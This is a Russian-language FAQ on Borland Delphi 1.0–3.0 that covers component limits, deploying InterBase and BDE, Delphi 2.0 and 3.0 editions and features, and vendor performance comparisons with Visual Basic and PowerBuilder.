Компоненты и VCL

1. Каковы ограничения на стандартные компоненты Delphi?

Все компоненты, использующие TList для сохранения информации, имеют верхний предел 16368 единиц. Hапример, TTabControl может содержать до 16368 закладок и Delphi Component Palette может содержать до 16368 страниц.

Многие из стандартных компонент Delphi являются надстройкой над стандартными управляющими элементами Windows. Windows 3.1 налагает свои собственные ограничения на эти компоненты. Hапример: TComboBox или TListbox могут содержать до 5440 единиц, а TMemo или TEdit (и соответствующие компоненты) — до 32k текста.

Ресурсы Windows 3.1 ограничивают компонент TNotebook 570 страницами. (Трудно получить более 500 хендлов /handles/ окон в любом приложении Windows). Превышение этих границ вызывает ошибку или послужит причиной странного поведения Windows. 

2. Предел буфера редактирования в 32K для TMemo.

Почему в документации написано, что TMemo может редактировать тексты до 256К, а на деле получается не более 32К?

В документации ошибка. 32К — это ограничение Windows. В Windows все стандартные редакторы используют общий буфер в 32К, компонент TMemo использует другую технику, позволяющую каждому TMemo иметь буфер в 32К. В Windows 95 эта проблема решена.

3. Почему компонент TGauge так медленно работает (медленнее, чем VBX BGauge)?

Компонент TGauge — просто пример, и ничего более. В нем отсутствует даже намек на оптимизацию перерисовок. Если вы посмотрите на код процедуры SetProgress, то увидите

FCurValue := Value;

Refresh;

Это означает, что как только положение изменилось, весь компонент будет перерисован. Тем не менее, есть пути для того, чтобы сделать компонент более быстрым:

1. Не присваивать Progress каждый раз (напр. 3000 раз), т.е. делать обновление менее часто

2. Проверять, действительно ли позиция на экране изменится. Например, в SetProgress сделать следующее:

if Abs(FCurValue-FLastDrawn) >= FDisplayDelta then 

begin

  Refresh;

  FastDrawn := FCurValue;

end;

где FDisplayDelta что-то вроде (FMaxValue-FMinValue) div Width (идеально было-бы учитывать реальный размер экрана.

3. Обновлять только часть индикатора, которая действительно меняется. Процедура Refresh стирает и перерисовывает весь компонент. Можно сделать вызов InvalidateRect (Windows API) и вызвать Update.

4. Если вы сделали как в пункте 3, вы дополнительно можете оптимизировать процедуру перерисовки, чтобы не перерисовывать неизменяющийся участок.

Разное

1. Распространение приложений Delphi, использующих Local InterBase.

Для распространения таких приложений, в соответствии с лицензионным соглашением вы должны перенести следующие файлы:

Главные модули (X:\IBLOCAL\BIN)

DSQL.DLL

FILEIO.DLL

GDS.DLL

GBAK.DLL

INTL.DLL

IUTLS.DLL

JRD.DLL

REMOTE.DLL

STACK.DLL

Сообщения, лицензионные файлы и т.п. (X:\IBLOCAL)

INTERBASE.MSG

ISC4.GDB

ISC_LIC.DAT

Утилиты (если они необходимы)

WISQL.EXE

WISQL.HLP

SQLREF.HLP

IBMGR.EXE

SVRMGR.HLP

COMDIAG.EXE

COMDIAG.INI

COMDIAG.HLP

BLINT04.HLP

После копирования этих файлов необходимо проделать следующие операции:

1. Добавить в AUTOEXEC.BAT в команду PATH  X:\IBLOCAL\BIN

2. Там же сделать SET INTERBASE=X:\IBLOCAL

3. В WIN.INI создать секцию

[Interbase]

RootDirectory=X:\IBLOCAL

Естественно, если путь к локальному InterBase отличается от IBLOCAL, то вы должны изменить его на нужный.

Для распространения BDE вы должны передать пользователю две инсталляционные дискеты с редистрибутивным BDE (на CD-ROM каталог REDIST\BDE).

Для установки BDE вручную скопируйте содержимое каталога IDAPI (с подкаталогом языковых драйверов), и создайте в WIN.INI следующие секции:

[IDAPI]

DLLPATH=X:\IDAPI

CONFIGFILE01=X:\IDAPI\IDAPI.CFG

[Borland Language Drivers]

LDPath=X:\IDAPI\LANGDRV

После этого ненужные файлы (неиспользуемых языковых драйверов, поддержку ODBC…) можно удалить с диска, или временно перенести, убедиться в работоспособности приложения, и удалить.

Возникает неясность — как добавить драйвер INTRBASE в IDAPI.CFG? Получается, что его необходимо переносить, и затем настраивать псевдонимы на новые каталоги. Иначе драйвер локального InterBase не попадет в IDAPI.CFG.ы

Вопросы по Delphi 2.0

Что нового в Delphi 2.0 по сравнения с Delphi 1.0?

Выпущенная в феврале 1995 года версия Delphi 1.0 стала первым инструментом для Windows, комбинирующим оптимизирующий компилятор, механизмы визуальной разработки Two-Way-Tools и масштабируемую архитектуру обработки баз данных.  Сегодня сотни компаний по всему миру заявляют о многократной окупаемости их инвестиций в информационые системы, построенные с применением Delphi в качестве основного инструмента. Borland Delphi 2.0 полностью поддерживает все особенности новых операционных систем Windows 95 и Windows NT. Новый 32-разрядный оптимизирующий компилятор позволяет увеличить производительность разрабатываемых систем на 300-400 процентов при том, что генерируемый в результате код выполняется в 15-50 раз быстрее, чем в системах на базе P-код интерпретаторов. Новые объектно-ориентированные средства, предназначенные для разработки в архитектуре клиент-сервер, включают централизованное хранилище объектов — Object Repository и механизм визуального наследования форм — Visual Form Inheritance.  "Всего за один год Delphi был принят на вооружение заказчиками в силу уникальных возможностей этого продукта, сочетающего высокопроизводительную технологию компиляции с единой средой визуального программирования", — говорит вице-президент Borland по маркетингу (Product Marketing and Management) Ричард Горман (Richard Gorman). "С выпуском новых  версий мы расширяем рынок Delphi на всем спектре desktop, сетевых и клиент-серверных инструментов".

Как и в любой новой версии продукта, по сравнению с предыдущей, появилось много изменений.

1. Изменения в компиляторе и RTL

 1. Новые типы данных:

  • строки и символы поддерживающие произвольную длину и

  • кодировку UniCode.

  • вариантные структуры для работы с OLE Automation

  • тип Currency — 8-байтное число с плавающей точкой

 2. Переменные типа Integer и Cardinal теперь 32-битные (4 байта). Для работы с двухбайтовыми целыми числами необходимо использовать типы SmallInt и Word.

 3. Генерация 32-битного кода с оптимизацией циклов, передачей параметров через регистры, и т.п.

2. Новые компоненты:

 1. набор компонент, свойственных интерфейсу Windows95

 2. компоненты OLE Automation

 3. новый DBGrid, позволяющий определять атрибуты столбцов.

3. Изменения в работе с БД

 1. локальная фильтрация записей для TTable и TQuery

 2. поддержка lookup у TField

 3. SQL-монитор, отслеживающий выполнение SQL-операций

 4. Модуль Данных (DataModule), для централизованного хранения и использования компонент доступа к базам данных

4. Изменения в среде разработчика (IDE)

 1. хранилище объектов (Object Repository) — для хранения проектов, форм, модулей данных и др.

 2. визуальное наследование форм

 3. визуальное связывание форм

 4. Database Explorer

 5. Редактор полей таблиц в стиле drag-n-drop

5. Изменения в Borland Database Engine

 1. полностью 32-разрядная библиотека доступа к данным

 2. новое ядро SQL-запросов

 3. расширенные возможности SQL Links

 4. транзакции и вложенные запросы для локальных форматов данных (dBase и Paradox)

Вопросы общего характера

1. Какие существуют варианты поставки Delphi 2.0?

Выпущенная 4 февраля 1996 года серия продуктов Delphi 2.0 включает три версии, каждая из которых разработана с учетом различного уровня разработчиков и решаемых ими задач:

• Desktop — для создания автономных программ или для начинающих программистов

• Developer — для профессиональных разработчиков, ориентированных на сетевую архитектуру

• Client/Server Suite — для создания систем в архитектуре клиент-сервер Все версии Delphi 2.0 естественно сочетают высокопроизводительный 32-разрядный компилятор, масштабируемые инструменты доступа к базам данных и расширяемую библиотеку "drag-and-drop" компонент в составе объектно-ориентированной среды визуальной разработки.

Состав версий.

Все версии Delphi 2.0 обладают открытой архитектурой, полностью поддерживающей такие технологии, как OLE  server, Microsoft OLE Controls (OCX), ODBC, а также Microsoft's  Remote Automation и ожидаемую Network OLE (ActiveX). Все версии Delphi 2.0 также предоставляют разработчикам поддержку новых особенностей и интерфейсов прикладного программирования (API) Windows 95 и Windows NT - многопоточности (threads), Unicode, MAPI и др. Для облегчения перехода разработчиков из 16-разрядного в 32-разрядное операционное окружение каждая версия Delphi 2.0 включает 16-разрядную версию Delphi 1.02 for Windows.

Delphi Desktop 2.0

Delphi Desktop 2.0 наиболее всего соответствует Delphi 1.0 for Windows и предназначен для начинающих Windows-прогрммистов и индивидуальных разработчиков. Некоторые особенности Delphi Desktop 2.0:

• оптимизирующий 32-разрядный компилятор, увеличивающий производительность существующих приложений на 300-400% (относительно Delphi 1.0).

• среда разработки IDE с интерфейсом в стиле Windows95

• расширяемая объектная архитектура компонент

• визуальное наследование форм

• визуальное связывание форм и компонентов, размещенных на различных формах

• 32-разрядный Borland Database Engine для доступа к БД формата dBase и Paradox, обеспечивает ряд расширений языка запросов SQL, транзакции для локальных форматов данных

• Data Modules (модули данных), позволяющие использовать одни и те же таблицы, запросы и др. источники данных и компоненты из многих форм приложения

• Database Explorer — инструмент разработки и модификации структур и содержимого баз данных в стиле Windows Explorer.

• фильтры для таблиц и запросов, развитые Lookup-списки.

• расширенный Grid-компонент с настраиваемыми атрибутами столбцов и "выпадающими" списками

• компонент Quick Report, позволяющий легко создавать встроенные отчеты без использования ReportSmith.

• тип данных currency (деньги), увеличивающий точность финансовых вычислений

• длинные строки и структуры данных (до 2ГБ)

• 16-разрядная версия Delphi 1.02

• полная документация в 5-и томах (более 1100 страниц) включая полное описание языка.

Delphi Developer 2.0

Delphi Developer 2.0 ориентирован на поддержку профессиональных разработчиков многопользовательских (сетевых) приложений. Версия Developer по сравнению с Desktop имеет следующие расширения:

• хранилище объектов (Object Repository), поддерживающее создание и совместное использование форм, модулей данных и других объектов.

• масштабируемый словарь данных (Data Dictionary), содержащий расширенные атрибуты полей (столбцов), квлючая пределы величин, маски редактирования и отображения, параметры шрифтов и т.п.

• низкоуровневая поддержка Borland Database Engine, включая справочные файлы

• Multi-Object Grid для максимально гибкого прдставления информации в приложениях, работающих с базами данных

• расширенный набор примеров компонент и дополнительные OCX

• дополнительные эксперты, среди которых Installation/Deployment Expert для создания рсапространяемых приложений (дистрибутивов)

• WinSight32

• расширенный Open Tools API — набор открытых интерфейсов для интеграции с внешними инструментами (CASE's, Transaction Process Monitor's и др.), с помощью которых разработчик может создавать и встраивать в среду (IDE) Delphi свои редакторы компонент и их свойств, эксперты и другие инструменты

• интерфейс к средствам групповой разработки (требует Intersolv PVCS 5.2 или выше)

• локальный однопользовательский сервер InterBase для разработки масштабируемых приложений на отдельном компьютере

• 32-разрядный генератор отчетов ReportSmith 3.0 с расширенными возможностями интеграции с Delphi-приложениями

• новая библиотека математических, статистических и бизнес-функций исходные тексты библиотеки компонент VCL32 (32-bit Visual Components Library)

• 8 томов документации и справочных руководств общим объеком свыше 3000 страниц

Delphi Client/Server Suite 2.0

Delphi Client/Server Suite 2.0 ориентирован на организации, разрабатывающие корпоративные системы, предназначенные для работы с данными, хранимыми на серверах БД Oracle, Sybase, InterBase, Informix, MS SQL Server, DB/2; сочетает высокопроизводительный клиентский инструментарий и широкий спектр средств работы с серверами БД. Версия Client/Server Suite по сравнению с Developer имеет следующие расширения:

• SQL Explorer в стиле Windows Explorer, ориентированный на обработку метаданных серверных БД (доменов, триггеров, представлений, хранимых процедур и т.п.)

• SQL Monitor, предназначенный для тестирования, отладки и настройки SQL-запросов для повышения качества и производительности их выполнения

• Cached Updates (буферизированное обновление) обеспечивает более эффективную обработку транзакций в клиент/серверном окружении.

• неограниченное использование высокопроизводительных драйверов SQL Links для доступа к серверным БД Oracle, Sybase, InterBase, Informix и SQL Server (лицензия на распространение SQL Links).

• SQL-сервер Borland InterBase 4.1 для Windows NT с лицензией на 2-х пользователей.

• ReportSmith 3.0 SQL Edition, предназначенный для построения отчетов при работе в клиент/серверном окружении.

• Визуальный конструктор запросов Visual Query Builder

• DataPump Expert — средство переноса/миграции данных для масштабирования приложений. Интегрированная в среду разработчика система контроля версий Intersolv PVCS.

• 12 томов документации и справочных руководств, общим объемом свыше 3500 страниц.

2. Какие форматы скомпилированных модулей можно получить в Delphi 2.0?

Delphi может создавать EXE- и DLL-файлы  для Win 32. Естественно, Вы может также создавать OCX, но для этого нужно знать соглашения по написанию DLL в формате OCX.

Delphi может также создавать 32-разрядные консольные приложения для работы под Win 32.

3. Какую модель данных использует Delphi?

Delphi 2.0 использует так называемую плавающую модель памяти (FLOAT), которая принята в Win 32. Отличительной особенностью данной модели памяти является линейная 32-разрядная адресация всего адресного пространства, которое может иметь соответственно размер до 4 Гбайт. При этом все указатели, адреса процедур, указатели на VMT также адресуются через 32-разрядные регистры.

4. Delphi 2.0 может создавать 16-разрядные приложения?

Delphi 2.0 — это полностью 32-разрядный продукт, который создает приложения, функционирующие под Windows 95 и Windows NT. Но в комплект поставки Delphi 2.0 также входит и текущая 16-разрядная версия Delphi (версия 1.0), предназначенная для создания приложения, работающих под Windows 3.1 (а также Windows 3.11 и др.). Те, разработчики, которые не используют новые специфичные характеристики 32-разрядных операционных систем погут перекомпилировать свои приложения с использованием 16-разрядной версии Delphi.

5. Насколько трудно перенести существующее приложение Delphi в Delphi 2.0?

В большинстве случаев разработчику достаточно просто перекомпилировать свое приложение с помощью нового 32-разрядного оптимизирующего компилятора и сразу же использовать преимущества 32-разрядного кода, что вызывает увеличение производительности до 300-400% под Windows 95 и Windows NT. Тем разработчикам, которые использовали низкоуровневый код, использующий 16-разрядную сегментную архитектуру Windows 3.1, больше не поддерживаемую Windows 95 придется внести соответствующие изменения в коде. Если приложение использует дополнительные компоненты и библиотеки третьих фирм, то следует обратиться к фирме-производителю для получения 32-разрядных версий этих компонентов и библиотек.

6. Каким образом разработчик может использовать новые характеристики Windows 95?

Delphi 2.0 включает в себя множество новых компонентов для поддержи новых специфичных характеристик Windows 95, таких как элементы оформления интерфейса пользователя (включая редактирование текстов в формате RTF), многостраничный диалог и прогресс-индикатор в стиле Windows 95, OLE controls (OCX) и др. Разработчику достаточно просто добавить эти компоненты в свои приложения из палитры компонентов, как и любой другой компонент Delphi. В большинстве случаев, Delphi 2.0 будет автоматически поддерживать новые возможности, например такие как длинные имена файлов, новые диалоги и стили и др. В дополнение ко всему, ввиду того, что Delphi 2.0 компилятор непосредственно в исполняемые коды процессора, разработчики сразу же получают доступ ко всему API Windows 95, включая мультитрединг, строки в формате Unicode, MAPI и др.

7. Delphi 2.0 сертифицировано как продукт под Windows 95?

Да. Delphi 2.0 удовлетворил всем требованиям для сертификации как продукт Windows 95. Кроме того, Delphi 2.0 облегчает разработчикам создание приложений, которые могут быть сертифицированы для использования под Windows 95.

8. Delphi 2.0 поддерживает Windows NT?

Да, Вы можете работать с Delphi 2.0 как под Windows 95, так и под Windows NT и, соответственно, создавать приложения, которые будут работать под обеими платформами. При этом имейте ввиду, что не все функции Win 32 API могут работать на обоих платформах, например, в Windows 95 не реализованы сервисы и др. системные функции — но это уже проблема не Borland, а Microsoft.

9. Delphi 2.0 поддерживает OLE controls (OCX) и OLE automation?

Да. Delphi 2.0 полностью поддерживает OCX и OLE automation. Разработчики могут инсталлировать OLE controls на соответствующие страницы палитры компонентов или использовать уже поставляемые с Delphi 2.0. Также, разработчик может использовать OLE automation для того, чтобы создавать приложения, которые управляют другими приложениями, такими как Microsoft Word, Excel, Lotus 1-2-3, Borland C++, Paradox и др. OLE automation в Delphi полностью совместима дальнейшем развитием OLE — Network OLE а также с технологией удаленной автоматизации (remote automation), включенной в VB4, используя все преимущества оптимизирующего компилятора.

10. Delphi 2.0 поддерживает in-process (DLL) или out-of-process (EXE) серверы в OLE automation?

Delphi 2.0 полностью поддерживает эти два типа локальных серверов OLE automation.

11. Delphi 2.0 поддерживает другие виды взаимодействия между приложениями?

Да. Delphi взаимодействует с некоторыми мониторами выпонения транзакций (transaction processing — TP), включая Novell Tuxedo, TransArc Encina, CICS и др. Как правило, эти продукты оформлены в виде DLL и могут вызываться непосредственно из приложения. Кроме того, Borland состоит в Object Management Group (OMG) и планирует в будущем обеспечить поддержку CORBA.

12. Delphi 2.0 поддерживает мультитрединг?

Да. Так как Delphi компилирует непосредственно в коды команд процессора, приложению написанному на Delphi доступны все возможности API Windows 95 и Windows NT. Библиотека Визуальных Комонентов (VCL) также включает объект TThread для создания надежных приложений.

13. Delphi 2.0 совместима с Network OLE?

Да. Так как Delphi 2.0 полностью поддерживает OLE automation как серверы, так и контроллеры, данный вариант OLE полностью совместима в будущем с Network OLE. Также Delphi полностью поддерживает технологию удаленной автоматизации, включенной в VB 4.0 со всеми дополнительными преимуществами оптимизирующего компилятора.

14. Существует ли upgrade Delphi 2.0?

Да. Borland предлагает специальные цены для тех заказчиков, которые являются легальными пользователями Delphi версии 1.0.

15. Насколько успешны продажи Delphi на сегодняшний день?

Продажи Delphi и Delphi Client/Server на данный момент даже превосходят прогнозы, сделанные фирмой Borland. Delphi играет значительную роль как в разработке отдельных, независимых приложений, так и в разработке приложений по технологии клиент-сервер. По результатам опросов и тестов Delphi присуждено множество наград, в т.ч.:

• BYTE Best Technology of Comdex 1994 for best development/system software

• PC Week Labs Analyst Choice Award

• PC Magazine Top Ten Selling Products

• PC Magazine Technical Excellence Award

• PC Magazine Product of the year for 1995

• Computer Daily News (Australia), Top Ten Selling Products

• PC Magazine (UK) Grey Matter Award for the number-one selling software product

• PC World (Spain) Product of the Year for programming languages

• PC/Computing Excellence Award

• DBMS Reader's choice award

• Best of LAN Times

• Windows Tech Journal Star Tech award

• Ziff-Davis Cannes Software Excellence Award, Overall Technical Excellence

• Ziff-Davis Cannes Software Excellence Award, Languages and Tools

• Visual Basic Programmer's Journal Editor's Choice

16. Насколько полно Borland предлагает стратегические решения тем компаниям, которым требуется дополнительная помощь в разработке клиент-серверных приложений?

В первом квартале 1996, Borland представил новую программу Premier Partner VAR, где главный акцент делается на решения в рамках технологии клиент-сервер. Эта программа будет играть важную роль в дополнении комплекта Delphi Client/Server Suite средствами, предназначенными для основных вариантов разработок по технологии клиент-сервер.

17. В чем заключаются преимущества 32-разрядного компилятора в родной код микропроцессора?

Используя новый оптимизирующий компилятор в 32-разрядный код Delphi 2.0 генерирует приложения, превосходящие по своим качествам интерпретаторы p-кода, такие как Visual Basic и PowerBuilder. На данный момент приложения, произведенные с помощью Delphi 1.0 выполняются примерно в 10-20 раз быстрее интерпретаторов p-кода. Предполагается дополнительное увеличение этого показателея в 32-разрядной версии. Новый оптимизирующий 32-разрядный компилятор в Delphi 2.0 использует один и тот же генератор кода, что и Borland C++ и включает множество видов оптимизации, таких как оптимизация использования регистров, оценка общих частей выражений оптимизация использования переменных и генерация кода, оптимированного для выполнения на процессоре Pentium для получения более компактного и быстрого кода. Приложения перекомпилированные во второй версии меньше по размерам и работают быстрее, чем раньше. Ввиду нового кодогенератора появились возможности не только использовать, но и создавать OBJ-файлы для более легкого переноса кода между Delphi и C/C++. Кроме того, сейчас компилятор выдает более информационные сообщения об ошибках, равно как и предупреждения и советы о некорректном коде, неиспользованных или используемых до инициализации переменных и др.

18. Насколько быстрее работают приложения, скомпилированные новым компилятором?

Тестовые испытания показали, что код, полученный при помощи Delphi 2.0 работает в среднем на 300-400% быстрее, чем 16-разрядные приложения. Это означает, что новые приложения будут работать в 15-50 раз быстрее, чем интерпретаторы p-кода. Например, тесты Sieve (что такое - не знаю) показали, что Delphi 2.0 работают в 15 раз быстрее, чем VB 3.0 и в 815 раз быстрее, чем PowerBuilder 4.0.

Ниже приводятся результаты тестирования 16- и 32-разрядных версий Delphi. Все тесты выполнялись на Gateway 2000 V66 (66MHz, процессор 486) с 16Mb памяти. 16-разрядные тесты выполнялись под Windows 3.1. Новые 32-разрядные тесты были выполнены с использованием пре-релиза Delphi 2.0.

Большее число означает большую производительность  

Power Builder  Visual Basic  Delphi 1.0  Delphi 2.0 Sieve  0.22  11.95  52.77  179.37  Whetstone  0.04  1.41  4.70  15.53 File read  0.05  0.42  0.74  2.89  File write  0.05  0.33  1.75  5.28 

19. Какой вид коллективной работы над проектом поддерживает Delphi 2.0?

Delphi Client/Server Suite 2.0 использует Open Tools API для тесной интеграции с системой контроля версий Intersolv PVCS (сама система входит в комплект поставки) для работой с файлами. Delphi Developer 2.0 также имеет интерфейс к Intersolv PVCS, но не включает саму систему PVCS. Благодаря Open Tools API, разработчики могут самостоятельно подключать другие системы контроля версий, такие как MKS Source Integrity, Microsoft Source Safe и др.

20. Насколько Delphi Client/Server Suite 2.0 сравним с PowerBuilder?

Delphi Client/Server Suite 2.0 включает в поставку большой диапазон средств, которые имеются в PowerBuilder и предлагают профессиональным разработчикам приложений по технологии клиент-сервер все, что им требуется для построения надежных, мощных приложений по технологии клиент-сервер. Кроме того, предлагаются дополнительные средства, такие как SQL Explorer для просмотра мета-данных на сервере, таких как сохраненные процедуры, триггеры и обработчики событий, SQL Monitor для тестирования и отладки SQL запросов, поддержка командной работы над проектом со встроенным PVCS, расширенный Open Tools API для интеграции с CASE-средствами и версия  InterBase под NT с 2-мя пользовательскими лицензиями. Также новый Borland Database Engine поддерживает буферизированное обновление, что существенно облегчает создание высокопроизводительных многозадачных приложений. Delphi остается единственным стредством, совмещающим преимущества оптимизирующего компилятора в родной код, визуального проектирования и технологии масштабируемой работы с базами данных.

Хотя компания PowerSoft и опубликовала планы реализации генератора C кода с возможностью последующей его компиляции в середине 1996 года, он не сможет по производительности, простоте отладки и интеграции в среде превзойти Delphi, который основан на 10-летней технологии производства компиляторов.

21. Насколько Delphi 2.0 сравним с Visual Basic 4.0?

Новый 32-разрядный оптимизирующий компилятор в Delphi 2.0 обеспечивает даже более высокие показатели, чем интерпретатор p-кода в VB 4.0. Кроме того, Delphi 2.0 предлагает более полный доступ к возможностям Windows 95 и NT вместе с поддержкой мульти-трединга и строк Unicode в дополнение к OLE Controls (OCX) и OLE automation. На самом деле, Delphi 2.0 может использовать все преимущества технологии удаленной автоматизации, включенной в VB 4.0 с дополнительным увеличением в скорости.

Delphi 2.0 превосходит VB также в поддержке дополнительных средств технологии клиент-сервер, таких как Database Explorer, Object Repository и Data Dictionary. Также Delphi 2.0 предлаагет много нововведений, таких как визуальное наследование форм и др.

Delphi остается единственным стредством, совмещающим преимущества оптимизирующего компилятора в родной код, визуального проектирования и технологии масштабируемой работы с базами данных. VB 4.0 получил очень среднюю оценку от заказчиков как просто некий 32-разрядный вариант предыдущей версии. VB 4.0 так и не использует основные возможности, такие как компилятор родного кода и настоящее объектно-ориентированное программирование.

Базы данных

1. В чем заключаются преимущества нового 32-разрядного Borland Database Engine?

Новый 32-разрядный Borland Database Engine включает полностью новое ядро запросов, которое было оптимизировано для работы как с удаленными SQL-серверами, так и с локальными данными. 32-разрядный Borland Database Engine использует все преимущества 32-разрядного адресного пространства и асинхронный 32-разрядный ввод/вывод для повышения характеристик. Он также включает новые виды оптимизации, специфичные для конкретных серверов и форматов локальных баз данных. Например, новые 32-разрядные SQL-линки включают многие виды оптимизации для Oracle, Sybase, Informix и InterBase. Новый BDE поддерживает буферизированное обновление для улучшения характеристик выполенний транзакций в приложениях, интенсивно работающих с данными на сервере без требуемого ранее блокировния используемых ресурсов на последнем. Кроме того, дополнительно поодерживаются транзакции на локальных данных и новое ядро запросов более полно реализует стандарт ANSI SQL-92 DML compliance. Новый Borland Database Engine поддерживает Data Dictionary для хранения расширенных аттрибутов данных, таких как минимальное и максимальное значения, маски для редактирования и вывода и др. Delphi также включает новую 32-разрядную версию локального сервера InterBase Server для более полной возможности масштабирования приложений в возможность использования любого другого ANSI SQL 92 сервера.

2. Что такое сервер InterBase?

InterBase это высокопроизводительный SQL сервер фирмы Borland выпускаемый под различные платформы. InterBase доступен для более чем 15 операционных систем, включая: Windows 3.1, Windows 95, Windows NT, NetWare, SCO, Sun OS, Sun Solaris, HP-UX, IBM AIX, SGI IRIX, и множество других Unix платформ.

3. Что такое локальный (Local) InterBase?

Это однопользовательская версия InterBase, включенная в Delphi Developer 2.0 и Delphi Client/Server Suite 2.0. Local InterBase дает возможность разработчикам тестировать свои приложения без привлечения настоящего SQL-сервера, но в то же время используя стандарт ANSI 92 SQL. Локальные InterBase имеет все те же основные возможности, что и многопользовательская версия InterBase доступная под NT и Unix, включая управление транзакциями, сохраненные процедуры, триггеры и обработчики событий.

С помощью локального InterBase разработчики на Delphi получают возможность тестировать свои настоящие клиент-серверные приложения на одном рабочем месте. Это означает возможность работы на laptop-е во время поездок либо использование баз данных, которые очень быстро меняют свою структуру. В отличие от других серверов, InterBase имеет один и тот же API для всех 15, так что приложение, работающее с локальным InterBase будет работать и с любой Unix или NT версией InterBase сервера без каких-либо модификаций.

4. В 32-разрядной версии локального Local InterBase были сделаны какие-либо улучшения?

Да, новая 32-разрядная версия локального InterBase предлагает значительное улучшение характеристик 16-разрядной версии. Также предлагается исключительный интерфйес Windows 95 GUI, включая 32-разрядные средства — Server Manager и Interactive SQL, и полную on-line документацию.

5. Как следует распространять приложения Delphi, использующие InterBase?

Используя Delphi Client/Server Suite 2.0, разработчик может проектировать и тестировать свое приложениe, используя связку Delphi/InterBase на одном рабочем месте. После того, как приложение закончено, просто покупается и инсталлируется требуемая версия InterBase с нужным количеством клиентских лицензий. Данные просто переносятся на сервер, после чего приложение готово к работе. Характеристики InterBase аналогичны для всех платформ - Windows 95, NT и Unix, так что не имеет значения, с какой операционной средой работает сервер. Кроме того, Delphi Developer 2.0 и Delphi Client/Server Suite 2.0 включают InstallShield Express — средство для создания инсталляторов.

6. Насколько InterBase сравним с Watcom SQL?

Характеристики InterBase и Watcom SQL во многом схожи, например в наличии хранимых процедур, триггеров и полного котроля за транзакциями. Однако, InterBase полностью реализует ANSI SQL 92, поддерживает событийную систему на сервере для программирования событийно — управляемых приложений и одновременную модель работы для многопользовательского доступа. Watcom не реализует полностью ANSI 92, не поддерживает события на сервере и имеет полность другое ядро, чем Sybase. Аналогично, InterBase масштабирует с 16-разрядной операционной системы Windows в Unix и имеет один и тот же интерфейс [API] для всех платформ. Watcom не имеет Unix-версий и имеет различные API для всех версий Sybase. Следовательно, если приложение разрабатывается с использованием Watcom API для Windows 3.1, Windows 95, или NT, они должны полностью переписывать свое приложение при изменении целевой платформы. InterBase обеспечивает полностью переноимые, масштабируемые решения для разработчиков клиент-серверных приложений. Наконец, в отличие от блокироки сираниц в Sybase System 11, InterBase предлагает блокировку запись в соответствии с архитектурой множественных поколений записей.

7. Что следует предпочесть разработчику в Delphi: SQL RDBMS, подобный InterBase или базу данных PC LAN, подобно dBase или Paradox?

Для небольших приложений, примерно до 12 одновременно работающих пользователей, использование БД PC LAN таких как dBase или Paradox даст максимально высокую производительность. SQL RDBMS, аналогичные InterBase, проявляют свои преимущества при более чем 10 пользователях и при высоких требованиях к одновременной многопользовательской работе, а также высокой степени сохранности данных. Клиент-серверные приложения позовляют также манипулировать данными больших размеров (20Mb — 20Gb) которые в другом случае вызвали бы слишком медленную работу вследствие взаимного блокирования файлов на файл-сервере и высокого сетевого траффика.

8. Почему я не могу создать в Local InterBase таблицу с кодовой страницей, отличной от страницы по умолчанию?

Этот случай наблюдается, когда полный путь к каталогу, где находится Local InterBase 32 содержит хотя бы один символ пробела (что предлагается по умолчанию). Ошибка официвльно признана Borland и будет устранена в ближайших следующих версиях Delphi 2.0, а тем, кто приобрел текущий вариант Delphi следует перенести IB в другой каталог (например, C:\INTRBASE) и перенастроить пути, либо полностью переставить Delphi с учетом данного требования.

Object Pascal и Windows API

1. Что такое Open Tools API? Насколько он улучшен?

Delphi разработан с учетом Open Tools API, который предоставляет средства интеграции средств третьих фирм, таких как систем контроля версий (Version Control System — VCS), CASE-средств, экспертов и т.д. В версии Delphi 2.0, Open Tools API был расширен с целью увеличить уровень интеграции в отношении работы с файлами, редактором и др. Эта технология идет дальше Microsoft's Source Code Control (SCC) API для того, чтобы обеспечить более общие возможности интеграции. В данное время Borland ведет работу с большим количеством дополнительных третьих фирм над улучшением взаимодействия с ведущими средствами CASE-проектирования, таких как Popkin System Architect, Sybase S-Designor, CSA SilverRun, LBMS и FMI Select Tools Enterprise и др.

Разное

1. Как ReportSmith 3.0 взаимодействует с Delphi?

Новая 32-разрядная версия ReportSmith 3.0 предлагает более тесную взаимосвязь со средой Delphi и способна работать с любым источником данных, используемом в Delphi, таких как TQuery или TTable. ReportSmith поддерживает создание сложных запросов в среде клиент-сервер и способен функционировать с приложением любой сложности. Delphi 2.0 также включает набор компонетов TQuickReport для встраивания отчетов непосредственно вовнутрь приложения.

2. Каким образом можно разделять Delphi 2 Object Repository между несколькими машинами?

Для этого следует используя Regedit в Registry в секции

HKEY_USERS\.Default\Software\Borland\Delphi\2.0\Repository

завести строковую запись BaseDir и в ней указать путь к вашему репозитарию (в том силе и сетевой).

Вопросы по Delphi 3.0

Вопросы общего характера

1. Какие существуют варианты поставки Delphi 3.0?

Анонсировано три варианта поставки Delphi, каждый из которых предлагает комплект решений для разного уровня разработчиков и решаемых ими задач.

• Standard

• Professional

• Client/Server Suite

Все версии Delphi 3.0 включают в себя высокопроизводительный 32-разрядный оптимизирующий компилятор, масштабируемые средства доступа к данным, расширяемую библиотеку компонентов, объединенные единой объектно-ориентированной средой разработки.

Состав версий.

Все версии Delphi 3.0 обладают окрытой архитектурой, полностью поддерживают технологии Microsoft OLE Automation, OCX, ODBC, ActiveX. Компонентная модель COM/DCOM поддерживается на уровне компилятора. Компилятор позволяет вам иметь доступ ко всем ресурсам операционных систем, реализующих Win 32 (Windows 95 и Windows NT) и использовать все имеющиеся технологические стандарты - Unicode, MAPI, ISAPI, NSAPI. Как в версии 2.0, в поставку включается 16-разрядная версия Delphi 1.02.

Delphi Standard 3.0

Delphi Standard 3.0 ориентирован на разработчиков в основном отдельных приложений с использованием настольных баз данных. Основные характеристики варианта Standard:

• Профессиональная среда разработки, включающая в себя полностью интегрированный отладчик и редактор

• Интегрированный в среду 32-разрядный оптимизирующий компилятор

• Возможность создания DLL и отдельных исполняемых EXE-файлов

• Возможность создания очень легких EXE с использованием настраиваемой технологии pakeges.

• Полный доступ к Win32 API, поддержка ActiveX, OLE, OLEDB, COM, DCOM, MAPI, ISAPI, NSAPI

• Создание и отладка многопоточных приложений под Windows 95 / Windows NT

• Наличие Delphi 1.0 для создания 16-разрядных приложений под Windows 3.1

• Объектно-ориентированная расширяемая компонентная архитектура

• Наличия репозитария объектов для хранения и повторного использования форм, модулей данных

• Поддержка визуального наследования и визуального связывания форм для уменьшения размера вводимого кода и более простого управления

• Полный набор новейших управляющих элементов Windows 95

